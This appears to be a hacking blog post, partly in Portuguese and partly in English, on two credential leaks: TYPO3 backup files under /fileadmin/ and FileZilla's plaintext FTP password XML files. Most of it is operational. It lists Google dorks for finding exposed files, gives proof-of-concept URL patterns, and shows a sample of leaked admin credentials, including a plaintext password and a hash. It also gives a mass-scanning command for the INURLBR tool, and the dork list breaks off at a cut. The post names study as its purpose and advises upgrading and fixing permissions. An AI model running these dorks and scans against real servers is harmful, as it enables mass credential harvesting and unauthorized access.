Continuando minhas pesquisas atras de vulnerabilidade em CMS's, nos ultimos dias estava procurando por padroes em arquivos .XML,T3D, que me pudessem trazer informacoes sensiveis do servidor.No procedimento de criar dork, refazer e criar um novo padrao. acabei descobrindo uma falha noCMS TYPO3 que possibilita acessar arquivos XML,T3D do servidor que contenham LOGIN & SENHA da plataforma."Nao e um CMS muito usado, o artigo e somente para estudos mesmo. Um desenvolvedor pode ver esse exemplo e saber o que nao fazer com seus backups e ter mais cuidado com arquivos gerados pelo sistema."Observando bem os arquivos eles seguem um padrao de backup do proprio sistema, em pastas desprotegidas. O Google indexa seu conteudo que e totalmente possivel acessa-los com operadores avancados de pesquisa - (DORKS / STRINGS).Os arquivos de senha sao guardados na pasta "/fileadmin/" alguns com uma string fixa nome "utopia" e sua extensao e ".t3d.xml" ou .t3dINFORMACOES:# ----------------------------------------------------------#[+] Type: Full Info Disclosure #[+] Vendor: https://typo3.org/typo3-cms/#[+] VULNERABLE VERSIONS: 4.2, 4.5# ----------------------------------------------------------#[+] AUTOR: googleINURL#[+] EMAIL: inurlbr@gmail.com#[+] Blog: http://blog.inurl.com.br#[+] Twitter: https://twitter.com/googleinurl#[+] Fanpage: https://fb.com/InurlBrasil#[+] Pastebin http://pastebin.com/u/Googleinurl#[+] GIT: https://github.com/googleinurl#[+] PSS: http://packetstormsecurity.com/user/googleinurl#[+] YOUTUBE: http://youtube.com/c/INURLBrasil#[+] PLUS: http://google.com/+INURLBrasil#[+] IRC: irc.priv8.jp / #inurlbrasil DORKS DE PESQUISA:/fileadmin/utopia ext:xml/fileadmin/utopia*.t3d.xmlsite:fr /fileadmin/utopia ext:xml"utopia" inurl:t3d ext:xml/fileadmin/ typo3 ext:t3dPOC ARQUIVO .XML:http://{server}/fileadmin/utopia{random}.t3d.xmlhttp://{server}/subdir/fileadmin/utopia{random}.t3d.xmlEx:http://vull.fr/fileadmin/utopia4cb2c07e326f4.t3d.xmlhttp://vull.fr/subdir/subdir2_/fileadmin/utopia506c4cd063fa0.t3d.xmlExemplo Conteudo arquivo:POC ARQUIVO .T3D:http://{server}/fileadmin/*.t3dhttp://{server}/fileadmin/archives_site/*.t3dhttp://{server}/subdir/fileadmin/*.t3dEx:http://vull.fr/fileadmin/archives_site/utopia_Inscription%20lilas%20autopartage.t3dhttp://vull.fr/subdir/fileadmin/archives_site/utopia_autotao.t3dExemplo Conteudo arquivo:s:11:"admin_xxxx";s:5:"email";s:26:"admin@xxxx-autoxxxx.fr";s:8:"username";s:10:"adminxxx";s:8:"password";s:10:"adminlilas";s:7:"origUid";a:2:{i:0;s:2:"10";i:1;s:14:"Administrateur";}}}}i:3;a:1:{s:8:"fe_users";a:1:{i:100;a:4:{s:4:"name";s:10:"user_xxx";s:5:"email";s:26:"admin@xxx-autopartage.fr";s:8:"username";s:9:"userxxx";s:8:"password";s:32:"dcd9e367d292b7019fab159ab8c8c26a";}}}i:4;a:1:{s:17:"tx_icsutopia_site";a:1:{i:1;a:4:{s:6:"level0";s:2:"72";s:6:"level1";s:2:"73";s:6:"level2";s:3:"232";s:10:"base_model";s:9:"72,73,232";}}}}s:3:"t3d";s:43:"/www/html/typo3temp/utopia519e1b3d6c76b.t3d";}}s:15:"relStaticTables";a:1Pesquisa em massa usando SCANNER INURLBR.Download: https://github.com/googleinurl/SCANNER-INURLBRComando:php inurlbr.php --dork '/fileadmin/utopia*.t3d.xml' -s t3d.txt -t 2 -a '<username>'Resultado:Solucao ?Faca upgrade do CMS e Configure adequadamente as permissoes de arquivos e pastas do se servidor. FileZilla FTP Passwords now Stored in Plaintext.It's an old vulnerability FileZilla, but we can still find servers with such a security breach, Vulnerability allows access to sensitive files from the server. Containing passwords and FTP users.FileZilla version ~ 3.0.9.2+ (and possibly older) store all FTP connection data .xml files in plain text.The following files are what you need to know about:filezilla.xml Stores most recent server info including password in plaintext.recentservers.xml Stores all recent server info including password in plaintext.sitemanager.xml Stores all saved sites server info including password in plaintext.These files can usually be found in the following directories:Windows XP/2K: "C:\Documents and Settings\username\Application Data\FileZilla"Windows Vista: "C:\Users\username\AppData\Roaming\FileZilla\"Linux: "/home/username/.filezilla/"FileZilla configuration filesFileZilla is a cross-platform application. Thats why it stores its settings in platform-neutral XML files.sitemanager.xml The XML files are readable for reading with access data, As you can see, everything is stored in plain text, including the password.filezilla.xmlThe filezilla.xml file follow the same example sitemanager.xml, It starts with naming <LastServer>Quick connect QuickConnect lets you connect to servers without adding them to your administrative panel. when instaciado a fast connection it is added in recentservers.xml file.Danger?Yes the same way that you can read these files. Malicious applications can do the same, and can be read also on web servers.ex:www.target.com.br/folder/{file.xml}www.target.com.br/microsite/geo243/FileZilla.xml www.target.com.br/149224/prg/programok/Total%20Commander/FileZilla/recentservers.xmlOther files:sitemanager.xmlrecentservers.xmlfilezilla.xmlbookmarks.xmlfilters.xmllayout.xmlqueue.xmlLooking for vulnerable serversNow let's use the inurlbr tool to search sites with such breach and confirm such information.Download tool: https://github.com/googleinurl/SCANNER-INURLBRSetting command:using search engines..SET DORK:Choose your dork search"\FileZilla\" ext:xmlinurl:"\FileZilla\" & inurl:sitemanager.xml -github -sourceforgeinurl:"\FileZilla\" & inurl:recentservers.xml -github -sourceforgeinurl:"\FileZilla\" & inurl:filezilla.xml -github -sourceforgeinurl:"\FileZilla\" & inurl:bookmarks.xml -github -sourceforgeinurl:"\FileZilla\" & inurl:filters.xml -github -sourceforgeinurl:"\FileZilla\" & inurl:layout.xml -github -sourceforgeinurl:"\FileZilla\" & inurl:queue.xml -github -sourceforgeinurl:sitemanager.xml & ext:xml & -github -sourceforgeinurl:recentservers.xml & ext:xml & -github -sourceforgeinurl:filezilla.xml & ext:xml & -github -sourceforgeinurl:bookmarks.xml